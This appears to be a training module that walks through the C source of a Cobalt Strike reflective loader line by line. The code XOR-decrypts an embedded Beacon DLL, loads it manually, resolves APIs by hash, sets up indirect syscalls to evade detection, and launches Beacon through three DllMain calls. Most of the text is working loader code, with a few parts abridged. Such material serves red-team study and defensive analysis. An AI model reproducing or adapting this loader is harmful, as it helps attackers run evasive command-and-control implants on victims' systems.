Module 5: The UDRL Loader Walkthrough

A line-by-line analysis of Crystal-Loaders' udrl/src/loader.c — the single C source file that decrypts, loads, and launches Beacon.

1. File Overview

The loader is a single C source file compiled with MinGW into position-independent code. It has no standard C runtime — every external function is resolved at runtime through Crystal Palace's DFR (Dynamic Function Resolution) mechanism.

C - loader.c includes#include <windows.h>
#include "beacon.h"    // BUD structures from Cobalt Strike
#include "gate.h"      // LibGate indirect syscalls
#include "tcg.h"       // LibTCG PE loading primitives

BOF-Style DLL Imports

Instead of normal import table entries (which would require an IAT and break position independence), the loader declares every external function using DECLSPEC_IMPORT with the LIBRARY$Function naming convention. Crystal Palace's DFR rewrites these at link time into hash-based runtime resolution calls.

C - BOF-style importsDECLSPEC_IMPORT LPVOID  WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL    WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
DECLSPEC_IMPORT BOOL    WINAPI KERNEL32$VirtualFree(LPVOID, SIZE_T, DWORD);
DECLSPEC_IMPORT int            MSVCRT$strncmp(const char *, const char *, size_t);

Key Defines

C - defines#define NTDLL_HASH    0x3CFA685D           // ROR13 hash of "ntdll.dll"
#define memset(x,y,z) __stosb((PBYTE)(x),(BYTE)(y),(SIZE_T)(z))
#define GETRESOURCE(x) (char *)&x

2. Embedded Resources

Crystal Palace links the encrypted Beacon DLL and XOR key into named PE sections at build time. The loader accesses them through zero-length array markers — a technique that produces no data in the object file but provides a symbol pointing to the start of the section.

C - section markers// Zero-length arrays in custom sections — Crystal Palace fills these at link time
char _DLL_[0] __attribute__((section("dll")));
char _KEY_[0] __attribute__((section("key")));

C - RESOURCE typedeftypedef struct {
    int  length;
    char value[];
} RESOURCE;

When Crystal Palace's spec file processes push $DLL / xor $KEY / preplen / link "dll", the pipeline executes these four steps:

3. The go() Entry Point — Full Walkthrough

The go() function is the loader's entry point — the first code that executes when the PIC blob runs. It orchestrates the entire loading sequence in nine discrete steps. Each step has a single responsibility and builds on the previous one.

Step 1 — Get Embedded Resources

The loader retrieves pointers to the encrypted Beacon DLL and the XOR key from their respective PE sections using the GETRESOURCE macro.

C - Step 1RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_);
RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_);

Step 2 — Allocate + XOR Unmask

A fresh RW buffer is allocated for the decrypted Beacon DLL. Each byte of the encrypted payload is XOR'd with the corresponding byte of the rotating key.

C - Step 2// Allocate RW buffer for the decrypted Beacon DLL
PBYTE src = KERNEL32$VirtualAlloc(NULL, dll->length,
    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// XOR-unmask: each byte of payload XOR'd with rotating key
for (DWORD i = 0; i < dll->length; i++)
    src[i] = dll->value[i] ^ key->value[i % key->length];

Step 3 — Parse PE

LibTCG's ParseDLL reads the PE headers from the decrypted buffer and populates a DLLDATA structure with section info, import table pointers, relocation data, and entry point offset.

C - Step 3DLLDATA data;
memset(&data, 0, sizeof(DLLDATA));
ParseDLL(src, &data);

Step 4 — Allocate + Load DLL

A second allocation provides the final memory region where the Beacon DLL will live. LoadDLL copies sections to their correct virtual offsets, and ProcessImports resolves the Beacon DLL's own import table.

C - Step 4DWORD size = SizeOfDLL(&data);
PBYTE dst = KERNEL32$VirtualAlloc(NULL, size,
    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

LoadDLL(&data, src, dst);

// Initialize import resolution functions
IMPORTFUNCS funcs;
funcs.loadLibraryA = KERNEL32$LoadLibraryA;
funcs.getProcAddress = KERNEL32$GetProcAddress;
ProcessImports(&funcs, &data, dst);

Step 5 — Initialize BUD (Beacon User Data)

The BUD (Beacon User Data) is a set of structures that the loader passes to Beacon. It provides Beacon with pre-resolved syscall stubs, RTL function pointers, and memory region metadata for sleep masking.

C - Step 5USER_DATA bud;
memset(&bud, 0, sizeof(USER_DATA));
bud.version = COBALT_STRIKE_VERSION;  // 0x041100 = CS 4.11

SYSCALL_API syscalls;
memset(&syscalls, 0, sizeof(SYSCALL_API));
bud.syscalls = &syscalls;

RTL_API rtlFunctions;
memset(&rtlFunctions, 0, sizeof(RTL_API));
bud.rtls = &rtlFunctions;

ALLOCATED_MEMORY memory;
memset(&memory, 0, sizeof(ALLOCATED_MEMORY));
bud.allocatedMemory = &memory;

Step 6 — Fix Section Permissions + Track Memory

After loading, all sections are RW. FixSectionPermissions iterates through each PE section and calls VirtualProtect with the correct permission flags. It also populates the ALLOCATED_MEMORY_REGION metadata so Beacon knows the layout of its own memory.

C - Step 6FixSectionPermissions(&data, dst, &memory.AllocatedMemoryRegions[0]);

Step 7 — Set Cleanup Info

The loader tells Beacon how the memory was allocated and whether Beacon should clean it up. This metadata is critical for Beacon's sleep masking — it needs to know the allocation method to correctly free or re-protect memory during sleep.

C - Step 7memory.AllocatedMemoryRegions[0].CleanupInformation.AllocationMethod = METHOD_VIRTUALALLOC;
memory.AllocatedMemoryRegions[0].CleanupInformation.Cleanup = TRUE;
memory.AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY;

Step 8 — Resolve Syscalls + RTL Functions

Two resolution functions populate the BUD sub-structures with live function pointers. These pointers allow Beacon to execute syscalls indirectly (through LibGate stubs) and call Rtl* utilities without importing them.

C - Step 8ResolveSyscalls(&syscalls);
ResolveRtlFunctions(&rtlFunctions);

Step 9 — Get Entry Point, Clean Up, Call Beacon

The final step resolves the Beacon DLL's entry point, frees the decrypted buffer (no longer needed), and makes the three DllMain calls that constitute the Cobalt Strike initialization protocol.

C - Step 9DLLMAIN_FUNC entryPoint = (DLLMAIN_FUNC)EntryPoint(&data, dst);

// Free the decrypted buffer (no longer needed)
KERNEL32$VirtualFree(src, 0, MEM_RELEASE);

// Three DllMain calls — this is the Cobalt Strike protocol:
entryPoint((HINSTANCE)0, DLL_BEACON_USER_DATA, &bud);            // Pass BUD to Beacon
entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);             // Standard DLL init
entryPoint((HINSTANCE)GETRESOURCE(go), DLL_BEACON_START, NULL);   // Start Beacon

4. The Three DllMain Calls

Unlike a normal DLL that receives a single DLL_PROCESS_ATTACH call, Cobalt Strike Beacon requires three separate DllMain invocations. Each call uses a different fdwReason value and passes different data through the parameters.

5. The resolve() Function

The resolve() function is the bridge between BOF-style import declarations and runtime API resolution. Crystal Palace's DFR mechanism rewrites every KERNEL32$VirtualAlloc call into a resolve(KERNEL32_HASH, VirtualAlloc_HASH) call at link time.

C - resolve()char * resolve(DWORD modHash, DWORD funcHash)
{
    PVOID mod = findModuleByHash(modHash);
    return findFunctionByHash(mod, funcHash);
}

6. ResolveSyscalls() — All 36 Nt* Functions

ResolveSyscalls populates the SYSCALL_API structure with resolved entries for every Nt* function that Beacon supports. Each entry contains both the function address and the syscall number (SSN), enabling LibGate's indirect syscall mechanism.

C - ResolveSyscalls()void ResolveSyscalls(SYSCALL_API * syscalls)
{
    PVOID ntdll = findModuleByHash(NTDLL_HASH);

    ResolveSyscallEntry(ntdll,
        findFunctionByHash(ntdll, NtAllocateVirtualMemory_HASH),
        &syscalls->ntAllocateVirtualMemory);
    ResolveSyscallEntry(ntdll,
        findFunctionByHash(ntdll, NtProtectVirtualMemory_HASH),
        &syscalls->ntProtectVirtualMemory);
    // ... 34 more Nt* functions
    ResolveSyscallEntry(ntdll,
        findFunctionByHash(ntdll, NtWaitForMultipleObjects_HASH),
        &syscalls->ntWaitForMultipleObjects);
}